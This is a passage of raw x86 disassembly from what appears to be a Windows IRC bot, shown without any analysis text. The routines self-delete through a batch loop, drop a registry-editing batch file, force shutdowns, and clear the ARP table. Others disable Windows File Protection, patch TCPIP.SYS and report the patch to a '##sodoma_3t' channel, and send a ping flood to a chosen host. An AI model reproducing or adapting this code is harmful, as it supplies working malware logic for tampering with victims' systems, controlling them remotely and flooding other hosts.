		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_441474	; SearchPathA
		test	eax, eax
		jz	short loc_40AB90
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_421088
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40AB90
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 7C831C45h
		push	ebx
		mov	ebx, dword_42107C
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40AB90
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 7C831CB8h
		push	esi
		call	ebx	; CloseHandle


loc_40AB90:				; CODE XREF: sub_40AAF1+2Aj
					; sub_40AAF1+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AAF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB95	proc near		; CODE XREF: sub_40F6F1+1401p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_415B28
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_441300	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_40AB95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ABB7	proc near		; CODE XREF: sub_40D091+472p
					; sub_40F6F1+5B03p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42ECF4, esi
		push	edi
		jz	short loc_40ABDB
		cmp	dword_441488, esi
		jnz	short loc_40ABDB
		push	esi
		call	sub_40C738
		pop	ecx


loc_40ABDB:				; CODE XREF: sub_40ABB7+13j
					; sub_40ABB7+1Bj
		call	sub_417021
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 7C835DCAh
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 7C801A24h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_40AD3B
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 7C810D87h
		push	edi
		nop
		call	near ptr 7C809B47h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417430
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417430
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43C63C
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 7C80B6A1h
		push	eax
		nop
		call	near ptr 7C80B4CFh
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 7C81153Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40ACE3
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 7C812782h


loc_40ACE3:				; CODE XREF: sub_40ABB7+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_4173AC
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 7C8329D9h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 7C802367h


loc_40AD3B:				; CODE XREF: sub_40ABB7+72j
		pop	edi
		pop	esi
		leave
		retn
sub_40ABB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD3F	proc near		; CODE XREF: ___:0040EC5Fp

var_1860	= byte ptr -1860h
var_158		= byte ptr -158h
var_58		= byte ptr -58h
var_48		= dword	ptr -48h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1860h
		call	sub_417B70
		push	esi
		push	edi
		mov	ecx, 5C1h
		mov	esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
		lea	edi, [ebp+var_1860]
		lea	eax, [ebp+var_158]
		rep movsd
		movsw
		push	offset aCA_bat	; "c:\\a.bat"
		push	eax
		movsb
		call	sub_4173AC
		pop	ecx
		xor	esi, esi
		pop	ecx
		lea	eax, [ebp+var_158]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 7C801A24h
		mov	edi, eax
		cmp	edi, esi
		jbe	short loc_40ADF9
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		push	edi
		nop
		call	near ptr 7C810D87h
		push	edi
		nop
		call	near ptr 7C809B47h
		push	44h
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		lea	ecx, [ebp+var_58]
		mov	[ebp+var_48], edi
		mov	[ebp+var_18], si
		push	1
		pop	eax
		push	ecx
		lea	ecx, [ebp+var_48]
		push	ecx
		push	esi
		push	esi
		push	28h
		mov	[ebp+var_1C], eax
		push	eax
		push	esi
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 7C802367h


loc_40ADF9:				; CODE XREF: sub_40AD3F+55j
		pop	edi
		pop	esi
		leave
		retn
sub_40AD3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADFD	proc near		; CODE XREF: ___:0041612Ap

var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	[ebp+arg_0], 0
		push	esi
		push	edi
		jz	loc_40AE8F
		push	offset byte_43C63C
		push	[ebp+arg_0]
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AE8F
		push	20h
		lea	eax, [ebp+var_20]
		push	[ebp+arg_0]
		push	eax
		call	sub_4182F0
		mov	esi, offset a_	; "."
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_41824D
		add	esp, 14h
		test	eax, eax
		jz	short loc_40AE8F
		push	eax
		call	sub_41791F
		push	esi
		push	0
		mov	edi, eax
		call	sub_41824D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40AE8F
		push	eax
		call	sub_41791F
		cmp	edi, 0Ah
		pop	ecx
		jz	short loc_40AE8A
		cmp	edi, 0ACh
		jnz	short loc_40AE7B
		cmp	eax, 0Fh
		jle	short loc_40AE8F
		cmp	eax, 20h
		jl	short loc_40AE8A


loc_40AE7B:				; CODE XREF: sub_40ADFD+72j
		cmp	edi, 0C0h
		jnz	short loc_40AE8F
		cmp	eax, 0A8h
		jnz	short loc_40AE8F


loc_40AE8A:				; CODE XREF: sub_40ADFD+6Aj
					; sub_40ADFD+7Cj
		push	1
		pop	eax
		jmp	short loc_40AE91
; ---------------------------------------------------------------------------


loc_40AE8F:				; CODE XREF: sub_40ADFD+Cj
					; sub_40ADFD+23j ...
		xor	eax, eax


loc_40AE91:				; CODE XREF: sub_40ADFD+90j
		pop	edi
		pop	esi
		leave
		retn
sub_40ADFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AE95	proc near		; CODE XREF: sub_4013E9+7p
					; sub_40198C+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4413F8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AEBD
		push	[esp+arg_0]
		call	dword_44143C	; gethostbyname
		test	eax, eax
		jnz	short loc_40AEB6
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AEB6:				; CODE XREF: sub_40AE95+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AEBD:				; CODE XREF: sub_40AE95+Dj
		retn
sub_40AE95	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AEBE	proc near		; CODE XREF: sub_40F326+9Bp
		mov	ecx, dword_4412E0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AECC
		call	ecx	; DnsFlushResolverCache

locret_40AECC:				; CODE XREF: sub_40AEBE+Aj
		retn
sub_40AEBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AECD	proc near		; CODE XREF: sub_40F6F1:loc_414F13p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_441434	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40AF93
		sub	ecx, 32h
		jz	loc_40AF8C
		sub	ecx, 48h
		jz	short loc_40AF2D
		sub	ecx, 6Eh
		jz	short loc_40AF26


loc_40AF0F:				; CODE XREF: sub_40AECD+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D0F0
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		jmp	short loc_40AF6D
; ---------------------------------------------------------------------------


loc_40AF26:				; CODE XREF: sub_40AECD+40j
		push	offset unk_42D0BC
		jmp	short loc_40AF5F
; ---------------------------------------------------------------------------


loc_40AF2D:				; CODE XREF: sub_40AECD+3Bj
		push	[ebp+var_8]
		call	sub_417BEE
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_417430
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40AF5A
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_441434	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_40AF93
		jmp	short loc_40AF0F
; ---------------------------------------------------------------------------


loc_40AF5A:				; CODE XREF: sub_40AECD+79j
		push	offset unk_42D07C


loc_40AF5F:				; CODE XREF: sub_40AECD+5Ej
					; sub_40AECD+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_40AF6D:				; CODE XREF: sub_40AECD+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40C4F7
		pop	ecx


loc_40AF7D:				; CODE XREF: sub_40AECD+C8j
					; sub_40AECD+DCj
		push	esi
		call	sub_417C62
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40AF8C:				; CODE XREF: sub_40AECD+32j
		push	offset unk_42D03C
		jmp	short loc_40AF5F
; ---------------------------------------------------------------------------


loc_40AF93:				; CODE XREF: sub_40AECD+29j
					; sub_40AECD+89j
		cmp	[esi], edi
		jbe	short loc_40AF7D
		lea	ebx, [esi+4]


loc_40AF9A:				; CODE XREF: sub_40AECD+DAj
		push	ebx
		call	dword_441430	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40AF9A
		jmp	short loc_40AF7D
sub_40AECD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFAB	proc near		; CODE XREF: sub_401447+243p
					; sub_401D79+268p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_44135C	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4416EC
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4173AC
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AFAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B004	proc near		; CODE XREF: sub_4010B2+24Cp
					; sub_4010B2+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40B02D
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40B020:				; CODE XREF: sub_40B004+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40B020
		pop	edi
		jmp	short loc_40B031
; ---------------------------------------------------------------------------


loc_40B02D:				; CODE XREF: sub_40B004+Aj
		mov	edx, [esp+4+arg_0]


loc_40B031:				; CODE XREF: sub_40B004+27j
		test	esi, esi
		pop	esi
		jz	short loc_40B03B
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40B03B:				; CODE XREF: sub_40B004+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40B004	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B051	proc near		; CODE XREF: sub_40F326+10Dp

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_80		= byte ptr -80h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 7C812ADEh
		cmp	[ebp+var_90], 5
		jnz	short loc_40B09C
		cmp	[ebp+var_8C], 1
		jnz	short loc_40B09C
		lea	eax, [ebp+var_80]
		push	offset a2	; "2"
		push	eax
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B09C
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B09C:				; CODE XREF: sub_40B051+27j
					; sub_40B051+30j ...
		xor	eax, eax
		leave
		retn
sub_40B051	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0A0	proc near		; CODE XREF: sub_40B0E7+A1p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+var_200]
		push	100h
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		nop
		call	near ptr 7C809BF8h
		push	offset aSfc_os_dll ; "sfc_os.dll"
		nop
		call	near ptr 7C801D77h
		push	5
		push	eax
		nop
		call	near ptr 7C80ADA0h
		lea	ecx, [ebp+var_200]
		push	0FFFFFFFFh
		push	ecx
		push	0
		call	eax
		leave
		retn
sub_40B0A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0E7	proc near

var_3B0		= dword	ptr -3B0h
var_3A0		= byte ptr -3A0h
var_1A0		= dword	ptr -1A0h
var_19C		= dword	ptr -19Ch
var_198		= byte ptr -198h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_88		= byte ptr -88h
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3A0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	46h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1A0]
		rep movsd
		push	1
		mov	edx, offset dword_42D1A4
		pop	esi
		mov	ecx, offset dword_42D1A0
		mov	[eax+114h], esi
		mov	eax, offset dword_441700
		xor	ebx, ebx
		push	esi
		mov	[ebp+var_50], offset dword_42D19C
		mov	[ebp+var_4C], offset dword_42D198
		mov	[ebp+var_48], offset dword_42D194
		mov	[ebp+var_44], eax
		mov	[ebp+var_40], edx
		mov	[ebp+var_3C], ecx
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		mov	[ebp+var_70], offset dword_42D190
		mov	[ebp+var_6C], offset dword_42D18C
		mov	[ebp+var_68], offset dword_42D188
		mov	[ebp+var_64], eax
		mov	[ebp+var_60], edx
		mov	[ebp+var_5C], ecx
		mov	[ebp+var_58], eax
		mov	[ebp+var_54], eax
		mov	[ebp+var_8], ebx
		call	sub_417BEE
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], ebx
		mov	[esp+3B0h+var_3B0], 7530h
		nop
		call	near ptr 7C802442h
		lea	eax, [ebp+var_198]
		push	eax
		call	sub_40B0A0
		pop	ecx
		mov	edi, 80h
		lea	eax, [ebp+var_198]
		push	edi
		push	eax
		nop
		call	near ptr 7C812782h
		push	ebx
		push	edi
		push	3
		push	ebx
		push	esi
		lea	eax, [ebp+var_198]
		push	80000000h
		push	eax
		nop
		call	near ptr 7C801A24h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40B1E0
		lea	ecx, [ebp+var_80]
		push	ecx
		lea	ecx, [ebp+var_78]
		push	ecx
		lea	ecx, [ebp+var_88]
		push	ecx
		push	eax
		nop
		call	near ptr 7C831C45h
		push	[ebp+arg_0]
		nop
		call	near ptr 7C809B47h


loc_40B1E0:				; CODE XREF: sub_40B0E7+D8j
		lea	eax, [ebp+var_198]
		push	offset aRB	; "r+b"
		push	eax
		call	sub_41823A
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40B237
		push	[ebp+var_94]
		lea	eax, [ebp+var_3A0]
		push	offset aCanNotOpenTcpi ; "Can not open TCPIP.SYS, version %d."
		push	200h
		push	eax
		call	sub_41792A
		lea	eax, [ebp+var_3A0]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_19C]
		call	sub_417174
		add	esp, 18h
		push	ebx
		nop
		call	near ptr 7C80C058h


loc_40B237:				; CODE XREF: sub_40B0E7+111j
		mov	eax, [ebp+var_94]
		dec	eax
		jz	loc_40B300
		dec	eax
		jnz	loc_40B3AE
		mov	[ebp+var_30], 130h
		mov	[ebp+var_2C], 131h
		mov	[ebp+var_28], 132h
		mov	[ebp+var_24], 133h
		mov	[ebp+var_20], 4F5A2h
		mov	[ebp+var_1C], 4F5A3h
		mov	[ebp+var_18], 4F5A4h
		mov	[ebp+var_14], 4F5A5h
		mov	[ebp+var_4], ebx


loc_40B286:				; CODE XREF: sub_40B0E7+1DEj
		mov	eax, [ebp+var_4]
		push	ebx
		push	[ebp+eax+var_30]
		push	[ebp+arg_0]
		call	sub_4183EE
		push	[ebp+arg_0]
		push	esi
		push	esi
		push	[ebp+var_C]
		call	sub_418132
		mov	eax, [ebp+var_4]
		push	esi
		push	[ebp+eax+var_70]
		push	[ebp+var_C]
		call	sub_418480
		add	esp, 28h
		test	eax, eax
		jnz	short loc_40B2BD
		inc	[ebp+var_8]


loc_40B2BD:				; CODE XREF: sub_40B0E7+1D1j
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 20h
		jl	short loc_40B286
		cmp	[ebp+var_8], 8
		jge	loc_40B3AE
		mov	[ebp+var_10], esi


loc_40B2D4:				; CODE XREF: sub_40B0E7+212j
		push	0
		push	[ebp+ebx+var_30]
		push	[ebp+arg_0]
		call	sub_4183EE
		push	[ebp+arg_0]
		push	esi
		push	esi
		push	[ebp+ebx+var_70]
		call	sub_4188AC
		add	ebx, 4
		add	esp, 1Ch
		cmp	ebx, 20h
		jl	short loc_40B2D4
		jmp	loc_40B3AC
; ---------------------------------------------------------------------------


loc_40B300:				; CODE XREF: sub_40B0E7+157j
		mov	[ebp+var_30], 130h
		mov	[ebp+var_2C], 131h
		mov	[ebp+var_28], 132h
		mov	[ebp+var_24], 133h
		mov	[ebp+var_20], 4F322h
		mov	[ebp+var_1C], 4F323h
		mov	[ebp+var_18], 4F324h
		mov	[ebp+var_14], 4F325h
		mov	[ebp+var_4], ebx


loc_40B33B:				; CODE XREF: sub_40B0E7+293j
		mov	eax, [ebp+var_4]
		push	ebx
		push	[ebp+eax+var_30]
		push	[ebp+arg_0]
		call	sub_4183EE
		push	[ebp+arg_0]
		push	esi
		push	esi
		push	[ebp+var_C]
		call	sub_418132
		mov	eax, [ebp+var_4]
		push	esi
		push	[ebp+eax+var_50]
		push	[ebp+var_C]
		call	sub_418480
		add	esp, 28h
		test	eax, eax
		jnz	short loc_40B372
		inc	[ebp+var_8]


loc_40B372:				; CODE XREF: sub_40B0E7+286j
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 20h
		jl	short loc_40B33B
		cmp	[ebp+var_8], 8
		jge	short loc_40B3AE
		mov	[ebp+var_10], esi


loc_40B385:				; CODE XREF: sub_40B0E7+2C3j
		push	0
		push	[ebp+ebx+var_30]
		push	[ebp+arg_0]
		call	sub_4183EE
		push	[ebp+arg_0]
		push	esi
		push	esi
		push	[ebp+ebx+var_50]
		call	sub_4188AC
		add	ebx, 4
		add	esp, 1Ch
		cmp	ebx, 20h
		jl	short loc_40B385


loc_40B3AC:				; CODE XREF: sub_40B0E7+214j
		xor	ebx, ebx


loc_40B3AE:				; CODE XREF: sub_40B0E7+15Ej
					; sub_40B0E7+1E4j ...
		push	[ebp+arg_0]
		call	sub_4180DC
		pop	ecx
		lea	eax, [ebp+var_198]
		push	ebx
		push	edi
		push	3
		push	ebx
		push	2
		push	40000000h
		push	eax
		nop
		call	near ptr 7C801A24h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40B3F4
		lea	eax, [ebp+var_80]
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		lea	eax, [ebp+var_88]
		push	eax
		push	esi
		nop
		call	near ptr 7C831CB8h
		push	esi
		nop
		call	near ptr 7C809B47h


loc_40B3F4:				; CODE XREF: sub_40B0E7+2EEj
		cmp	[ebp+var_10], ebx
		jz	short loc_40B442
		push	[ebp+var_94]
		lea	eax, [ebp+var_3A0]
		push	offset aTcpip_sysFixed ; "TCPIP.SYS fixed, version %d."
		push	200h
		push	eax
		call	sub_41792A
		push	ebx
		lea	eax, [ebp+var_3A0]
		push	[ebp+var_90]
		push	eax
		push	offset aSodoma_3t ; "##sodoma_3t"
		push	[ebp+var_1A0]
		call	sub_40DC10
		lea	eax, [ebp+var_3A0]
		push	eax
		call	sub_40C4F7
		add	esp, 28h


loc_40B442:				; CODE XREF: sub_40B0E7+310j
		push	[ebp+var_19C]
		mov	dword_42ED0C, ebx
		call	sub_417174
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h
sub_40B0E7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B45B	proc near		; DATA XREF: sub_40F6F1+2F57o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_417B70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_441344	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4413F8	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40B4B6
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_44143C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_40B4BC


loc_40B4B6:				; CODE XREF: sub_40B45B+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_40B519


loc_40B4BC:				; CODE XREF: sub_40B45B+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42D1E4
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B4FC
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40DC10
		add	esp, 14h


loc_40B4FC:				; CODE XREF: sub_40B45B+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_30]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 7C80C058h


loc_40B519:				; CODE XREF: sub_40B45B+5Fj
		cmp	eax, ebx
		jz	short loc_40B529
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40B52C
; ---------------------------------------------------------------------------


loc_40B529:				; CODE XREF: sub_40B45B+C0j
		mov	[ebp+var_4], esi


loc_40B52C:				; CODE XREF: sub_40B45B+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_417430
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_40B54C
		mov	[ebp+var_3C], eax


loc_40B54C:				; CODE XREF: sub_40B45B+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_40B554
		mov	[ebp+var_38], edi


loc_40B554:				; CODE XREF: sub_40B45B+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_40B581


loc_40B55B:				; CODE XREF: sub_40B45B+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_4412DC	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_40B55B


loc_40B581:				; CODE XREF: sub_40B45B+FEj
		push	[ebp+arg_0]
		call	dword_441470	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42D1A8
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B5CA
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
